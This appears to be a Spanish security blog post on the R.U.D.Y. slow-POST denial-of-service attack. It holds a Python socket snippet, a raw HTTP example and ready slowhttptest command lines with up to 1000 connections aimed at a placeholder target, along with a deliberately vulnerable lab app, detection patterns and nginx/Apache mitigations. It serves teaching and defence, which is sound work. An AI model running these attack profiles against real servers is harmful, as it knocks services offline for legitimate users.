1. ¿Qué es R.U.D.Y.?
R.U.D.Y. (R U Dead Yet?), es un ataque de denegación de servicio (DoS), que tiene como objetivo mantener un servidor web "atado" al enviar datos de formularios a un ritmo absurdamente lento. Una vulnerabilidad R.U.D.Y. se clasifica como un ataque bajo y lento, ya que se centra en la creación de unas pocas solicitudes prolongadas en lugar de sobrecargar un servidor con un alto volumen de solicitudes rápidas. Un ataque R.U.D.Y. con éxito, hará que el servidor de origen de la víctima no esté disponible para el tráfico legítimo.
2. ¿Cómo funciona un ataque R.U.D.Y.?
La herramienta detecta un formulario en la aplicación objetivo.
Crea una solicitud
POSTcon unContent-Lengthgrande (o usaTransfer-Encoding: chunkeden variantes).Envía el body en fragmentos muy pequeños (a veces 1 byte) con intervalos largos (segundos o decenas de segundos).
Mantiene la conexión indefinidamente o hasta agotar límites del servidor -> consume conexiones/memoria/workers.
Variante importante: algunos atacantes usan Transfer-Encoding: chunked en vez de Content-Length. El comportamiento de servidores y proxies frente a chunked puede diferir, por lo que ambos casos deben considerarse.
HTTP/2: como HTTP/2 multiplexa streams sobre una conexión, el impacto de “agotar sockets” es distinto. HTTP/2 y servidores event-driven (nginx, Caddy, envoy, servidores asíncronos) tienden a mitigar el efecto sobre workers, aunque sigue existiendo potencial de agotamiento de recursos (streams, memoria, CPU).
3. Herramientas
- SlowHTTPTest (slowhttptest) - herramienta principal para Slow POST / Slowloris
Repositorio mantenido y muy configurable. Soporta múltiples modos (Slow POST, Slow Read, Slow Headers, etc.), y tiene Dockerfile en su repo. Útil para reproducir R.U.D.Y.-like y otras variantes low-and-slow. https://github.com/shekyan/slowhttptest
- Implementaciones / forks de R.U.D.Y. (varios en GitHub)
Hay varias implementaciones/forks activas que replican el comportamiento R.U.D.Y. en Python/JS:
SergiDelta/rudy - implementación en Python con README y flags claros. Útil si quieres un script tipo “rudy.py” para pruebas locales. https://github.com/SergiDelta/rudy
darkweak/rudy, nosperantos/RUDY, sahilchaddha/rudyjs u otros forks - existen múltiples repos públicos que implementan R.U.D.Y.-style tools; el código y flags pueden variar entre forks, así que revisa el README del repo que uses. https://github.com/darkweak/rudy
- Slowloris / variantes de Slowloris
- Repositorios de Slowloris (Python) siguen siendo un recurso útil para comparar vectores (headers incompletos vs slow POST). Buenas para pruebas de header-based slow DoS. Ejemplos y forks están ampliamente disponibles. https://github.com/gkbrk/slowloris
- Scripts personalizados y utilidades de sistema
Cuando necesites mayor control o reproducir un caso específico, puedes crear PoC simples:
curl+sleepen bucle (muy básico, menos eficiente).netcat/ncatpara enviar bytes manualmente con delays.- Python con
requestso sockets para simular envíos byte-a-byte contime.sleep()entre envíos - facilita experimentar con intervalos exactos yTransfer-Encoding: chunked.
4. Ejemplo conceptual
Si tienes un formulario POST con campos name y message, un ataque R.U.D.Y. haría algo así:
POST /contact HTTP/1.1
Host: target.com
Content-Length: 1000000
Content-Type: application/x-www-form-urlencoded
m (envía un carácter cada 5 segundos)
e
s
s
a
g
eEl servidor mantiene la conexión abierta esperando el resto de los datos.
Si muchas conexiones hacen lo mismo, se agota la capacidad de procesamiento.
Ejemplo conceptual en Python:
import socket, time
s = socket.create_connection(("192.168.1.10", 80))
s.sendall(b"POST /form HTTP/1.1\r\nHost: 192.168.1.10\r\nContent-Length: 1000000\r\n\r\n")
for ch in b"message":
s.send(ch)
time.sleep(5) # 5 s entre bytesÚtil para entender detalles finos (ej.:
Transfer-Encoding: chunked), pero solo en entornos controlados.
5. PoC
He desarrollado una aplicación vulnerable para estudiar el comportamiento y los efectos de ataques low-and-slow (R.U.D.Y. / Slowloris). El código fuente y los scripts de prueba están disponibles en el repositorio: github.com/wh01s17/rudy_vulnerable.
# clona el repo y ve al directorio del proyecto
git clone https://github.com/wh01s17/rudy_vulnerable
cd rudy_vulnerable
# crea y activa un virtualenv
python -m venv .venv
source .venv/bin/activate
# instala Django
pip install django
# aplica migraciones básicas
python manage.py migrate
# ejecuta el servidor
python manage.py runserver 0.0.0.0:8000El repositorio incluye rudy_attack.sh, un script de ejemplo que arranca perfiles de slowhttptest para reproducir distintos escenarios de ataque en un entorno controlado.
Los comandos utilizados son:
slowhttptest -c 1000 -B -i 80 -r 200 -s 32768 -t POST -u ${TARGET}/form/ -x 20 -p 3 -l $DURATION
slowhttptest -c 800 -B -i 120 -r 150 -s 16384 -t POST -u ${TARGET}/form/ -x 15 -p 3 -l $DURATION
slowhttptest -c 700 -B -i 90 -r 120 -s 65536 -t POST -u ${TARGET}/upload/ -x 25 -p 3 -l $DURATION
slowhttptest -c 600 -H -t GET -u ${TARGET}/form/ -x 15 -p 3 -l $DURATIONComando 1:
Modo Slow POST (
-B): simula múltiples solicitudesPOSTque declaran un tamaño de cuerpo grande (víaContent-Length), pero envían ese cuerpo muy lentamente en pequeños fragmentos.-c 1000: abrir hasta 1000 conexiones concurrentes.-r 200: tasa de inicio de conexiones, 200 conexiones por segundo.-i 80: intervalo entre envíos parciales (keep-alive chunks) - aquí 80 segundos entre cada fragmento enviado por conexión.-s 32768: valorContent-Lengthdeclarado 32 768 bytes (simula un body grande).-t POST: verbo HTTP POST.-u ${TARGET}/form/: URL objetivo (sustituir${TARGET}).-x 20: tamaño máximo en bytes de cada fragmento enviado en los envíos parciales (hasta 20 bytes por chunk).-p 3: timeout del probe/sondeo en segundos (tiempo que espera para considerar caída).-l $DURATION: duración total de la prueba en segundos (variable pasada al script).
Comando 2:
Igual modo Slow POST (
-B) dirigido a/form/.-c 800: 800 conexiones concurrentes.-r 150: 150 conexiones/segundo de arranque.-i 120: intervalo entre fragmentos 120 segundos (envíos aún más espaciados).-s 16384:Content-Lengthdeclarado 16 384 bytes.-t POST,-u ${TARGET}/form/: POST hacia la ruta de formulario.-x 15: fragmentos de hasta 15 bytes por envío.-p 3,-l $DURATION: probe timeout y duración.
Comando 3:
Slow POST (
-B) dirigido específicamente a la ruta/upload/.-c 700: objetivo 700 conexiones concurrentes.-r 120: 120 conexiones/segundo.-i 90: intervalo entre fragmentos 90 segundos.-s 65536:Content-Lengthdeclarado 65 536 bytes (simula una subida grande).-t POST,-u ${TARGET}/upload/: POST hacia endpoint de subida.-x 25: tamaño máximo de cada chunk 25 bytes.-p 3,-l $DURATION: probe timeout y duración.
Comando 4:
Modo: Slowloris (
-H). En lugar de enviar cuerpos POST lentos, mantiene abiertas solicitudes incompletas enviando cabeceras parciales.-c 600: 600 conexiones concurrentes objetivo.-H: activa el modo Slowloris (envío gradual de headers incompletos).-t GET: usa verbo GET (aunque el ataque se centra en cabeceras incompletas).-u ${TARGET}/form/: URL destino.-x 15: tamaño máximo de cada fragmento de cabecera 15 bytes.-p 3,-l $DURATION: probe timeout y duración de la prueba.
6. Slowloris vs R.U.D.Y.
Slowloris: mantiene solicitudes HTTP incompletas enviando cabeceras parciales/fragmentadas (headers) y evitando terminar la petición. No necesariamente envía cuerpos grandes; el foco está en las cabeceras incompletas.
R.U.D.Y. (R-U-Dead-Yet?): se centra en Slow POST - abre conexiones POST y anuncia un
Content-Lengthgrande, luego envía el cuerpo del POST lentamente en pequeños fragmentos. Es decir, el ataque actúa sobre el cuerpo de la petición.
| Aspecto | Slowloris | R.U.D.Y. (Slow POST) |
|---|---|---|
| Vector principal | Cabeceras HTTP incompletas / fragmentadas | Cuerpo (body), de POST enviado muy lentamente |
| Método típico | Cualquier método con headers | POST (métodos con body) |
| Qué mantiene abierto | Solicitudes con headers sin terminar | Conexiones con body parcialmente enviado |
| Lo que consume | Sockets / slots de petición / workers | Sockets + posible memoria/estructuras para body |
| Característica temporal | Envíos frecuentes y muy pequeños de headers | Envíos poco frecuentes y pequeños del body |
| Indicador en access logs | Conexiones largas sin completar headers | Muchos POST con Content-Length grande y bajas tasas de bytes recibidos |
| Stack más afectado | Servidores síncronos que asignan worker por conexión (ej. Apache sin proxy) | Aplicaciones que reservan buffers/leen body en memoria |
| Contramedida típica | Timeouts de parseo de headers, reverse proxy | Límites de tamaño/throughput del body, procesamiento por chunks |
| Capa de ataque | Aplicación (Layer 7) | Aplicación (Layer 7) |
⚠️ Estos perfiles buscan ocupar conexiones y recursos con técnicas "low-and-slow"; úsalos sólo en entornos controlados y con autorización.
7. Patrones de logs y señales
Muchas conexiones
ESTABLISHEDhacia el puerto web (ej. 8000/80/443).Alto número de conexiones simultáneas originadas desde las mismas IPs o rangos pequeños.
Muchas
POSTconContent-Lengthalto en headers pero throughput por conexión muy bajo (bytes/s casi cero).Peticiones
GETo requests con cabeceras incompletas/fragmentadas que nunca terminan de enviarse.request_time/upstream_timep95/p99 extremadamente altos en access logs.Códigos inusuales en logs (ej.:
499,408) o líneas con0bytes transferidos repetidas.Logs de aplicación mostrando lectura parcial del body (mensajes tipo “received X bytes so far”) y procesamiento que dura minutos.
Uso de memoria por proceso web creciendo cuando hay muchas subidas lentas (indicio de bodies leídos en memoria).
Muchas conexiones desde una misma IP con actividad esporádica (pequeños envíos separados por largos intervalos).
Bajo ancho de banda total pero número de conexiones y latencia elevadas (baja carga por conexión, alta concurrencia).
Ejemplo de línea de access_log (formato nginx common + request_time):
192.0.2.5 - - [22/Oct/2025:12:34:56 +0000] "POST /contact HTTP/1.1" 200 512 "-" "UserAgent" 120.345
# 120.345 = request_time alto; bytes enviados (512) bajos respecto a Content-LengthComandos para observar efectos en servidor (diagnóstico):
# sockets por puerto
ss -tn state established '( dport = :80 or dport = :443 )'
# conteo conexiones por IP
ss -tn state established | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -nr | head
# ver procesos que consumen RAM/CPU
top -o %MEM
# métricas nginx (si stub_status activado)
curl http://127.0.0.1/nginx_statusSi
Content-Length > Xybytes_sent < Content-Length * 0.1yrequest_time > T, marcar como sospechoso.Si misma IP mantiene > N conexiones ESTABLISHED por > S segundos, elevar alerta.
8. Mitigación y defensa más comunes contra ataques como Slowloris y R.U.D.Y.
Limitar el tiempo máximo de conexión (timeouts) para cabeceras y cuerpos HTTP.
Configurar límites de tamaño mínimo y máximo del body en peticiones POST.
Implementar balanceadores de carga o reverse proxies (como Nginx, HAProxy o Cloudflare).
Utilizar firewalls de aplicación web (WAF) con detección de patrones de tráfico lento o incompleto.
Establecer límites en el número de conexiones simultáneas por IP.
Emplear módulos anti-Slowloris en servidores (por ejemplo,
mod_reqtimeouten Apache olimit_req_zoneen Nginx).Implementar mecanismos de rate limiting.
Usar detección de comportamiento anómalo (IDS/IPS) para identificar conexiones sospechosas.
Activar Keep-Alive con límites de duración o deshabilitarlo según el contexto.
Monitorear métricas de red y servidor (latencia, número de conexiones abiertas, tiempos de respuesta).
Configurar respuestas automáticas a conexiones o peticiones incompletas (reset de conexión).
Utilizar herramientas de mitigación DDoS especializadas o servicios en la nube.
Ejemplo de mitigación con Nginx:
# timeouts y límites
client_header_timeout 10s;
client_body_timeout 10s;
client_max_body_size 10m;
# limitar conexiones por IP
limit_conn_zone $binary_remote_addr zone=addr:10m; limit_conn addr 10;
# rate limiting básico
limit_req_zone $binary_remote_addr zone=req:10m rate=10r/s;
limit_req zone=req burst=20 nodelay;Ajusta timeouts/límites según tráfico legítimo. Los valores muy agresivos rompen clientes lentos reales.
Ejemplo con Apache (mod_reqtimeout):
RequestReadTimeout header=10-20,minrate=500 body=20,minrate=500R.U.D.Y. nos demuestra cómo una funcionalidad legítima, como la aceptación de formularios con bodies largos, puede transformarse en un vector devastador si no se controla adecuadamente.
Aplicar timeouts diferenciales (headers/body), procesar el body por streams, usar reverse proxies/WAF y establecer límites por IP son prácticas esenciales para proteger aplicaciones contra este tipo de ataques.
Espero que este material te sirva para detectar y mitigar R.U.D.Y. de forma efectiva. ¡Hasta el próximo post!